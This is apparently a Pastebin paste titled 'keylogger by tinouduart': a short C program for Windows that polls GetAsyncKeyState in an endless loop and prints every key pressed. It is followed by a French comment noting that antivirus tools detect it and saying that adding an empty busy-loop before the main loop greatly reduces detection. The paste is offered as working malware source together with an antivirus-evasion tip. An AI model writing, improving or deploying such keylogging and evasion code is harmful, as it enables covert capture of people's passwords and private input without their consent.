Advertisement
hackerfree

keylogger by tinouduart

May 10th, 2018
1,044
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.71 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <Windows.h>
  3.  
  4. int
  5. main(void)
  6. {
  7.     while (1)
  8.     {
  9.         for (int i = 1; i <= 255; i++)
  10.         {
  11.             if (GetAsyncKeyState(i) == -32767)
  12.             {
  13.                 printf("%c", i);
  14.             }
  15.         }
  16.     }
  17.  
  18.     return EXIT_SUCCESS;
  19. }
  20.  
  21. #---------------------------------------------------------------------------------------------------------------------------------#
  22. ce code est détecté par la plupart des antivirus, mais une simple ligne de code en plus permet de grandement diminuer la détection :
  23.  
  24. for (int i = 0; i < 99999999; i++);
  25.  
  26. Il suffit d'ajouter cette ligne avant le while(1).
  27. #---------------------------------------------------------------------------------------------------------------------------------#
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement